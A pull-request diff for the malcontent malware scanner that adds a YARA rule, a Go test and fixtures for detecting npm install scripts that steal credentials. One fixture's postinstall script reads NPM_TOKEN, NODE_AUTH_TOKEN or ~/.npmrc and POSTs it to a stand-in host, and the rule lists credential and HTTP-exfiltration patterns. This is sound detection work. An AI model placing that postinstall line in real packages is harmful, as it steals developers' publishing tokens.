Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
63 changes: 63 additions & 0 deletions pkg/action/scan_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -165,6 +165,69 @@ func TestScanRepeatedScansNoResourceExhaustion(t *testing.T) {
}
}

func TestNPMCredentialExfiltrationRule(t *testing.T) {
ctx := context.Background()

rfs := []fs.FS{rules.FS, thirdparty.FS}
yrs, err := CachedRules(ctx, rfs)
if err != nil {
t.Fatalf("rules: %v", err)
}

cfg := malcontent.Config{
Concurrency: runtime.NumCPU(),
IgnoreSelf: false,
IncludeDataFiles: false,
MinFileRisk: 0,
MinRisk: 0,
Rules: yrs,
RuleFS: rfs,
}

tests := []struct {
name string
path string
wantRule bool
}{
{
name: "postinstall credential exfiltration",
path: filepath.Join("testdata", "npm-token-exfil", "package.json"),
wantRule: true,
},
{
name: "release script token reference",
path: filepath.Join("testdata", "npm-token-release", "package.json"),
wantRule: false,
},
}

for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
fr, err := scanSinglePath(ctx, cfg, tt.path, rfs, tt.path, "", nil)
if err != nil {
t.Fatalf("scan: %v", err)
}

gotRule := hasRuleName(fr, "npm_install_credential_exfiltration")
if gotRule != tt.wantRule {
t.Fatalf("npm_install_credential_exfiltration match = %t, want %t", gotRule, tt.wantRule)
}
})
}
}

func hasRuleName(fr *malcontent.FileReport, ruleName string) bool {
if fr == nil {
return false
}
for _, b := range fr.Behaviors {
if b.RuleName == ruleName {
return true
}
}
return false
}

func TestExitIfHitOrMiss(t *testing.T) {
t.Parallel()

Expand Down
8 changes: 8 additions & 0 deletions pkg/action/testdata/npm-token-exfil/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
{
"name": "npm-token-exfil-test",
"version": "1.0.0",
"description": "test fixture",
"scripts": {
"postinstall": "node -e \"const fs=require('fs');const token=process.env.NPM_TOKEN||process.env.NODE_AUTH_TOKEN||fs.readFileSync(process.env.HOME+'/.npmrc','utf8');fetch('https://example.invalid/collect',{method:'POST',body:token})\""
}
}
9 changes: 9 additions & 0 deletions pkg/action/testdata/npm-token-release/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
{
"name": "npm-token-release-test",
"version": "1.0.0",
"description": "test fixture",
"homepage": "https://example.com/package",
"scripts": {
"release": "NPM_TOKEN=$NPM_TOKEN node ./scripts/release.js"
}
}
25 changes: 25 additions & 0 deletions rules/exfil/npm.yara
Original file line number Diff line number Diff line change
Expand Up @@ -74,3 +74,28 @@ rule npm_recon_commands: high {
condition:
package_scripts and any of them
}

rule npm_install_credential_exfiltration: high {
meta:
description = "npm installer references package-manager credentials and sends data over HTTP"
reference = "https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"

strings:
$install_pre = /"(preinstall|install|postinstall|prepare)":/

$cred_npmrc = ".npmrc"
$cred_auth_token = "_authToken" fullword
$cred_node_auth = "NODE_AUTH_TOKEN" fullword
$cred_npm_token = "NPM_TOKEN" fullword
$cred_gh_token = "GITHUB_TOKEN" fullword

$http_fetch = /fetch\(\s{0,4}[\"']https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
$http_request = /require\(\s{0,4}[\"']https{0,1}[\"']\)/
$http_curl = /(curl|wget) .{0,128}https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
$http_url = /https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
$http_post = "POST" fullword

condition:
package_scripts and $install_pre and any of ($cred*) and
($http_fetch or $http_curl or ($http_request and $http_post) or ($http_url and $http_post))
}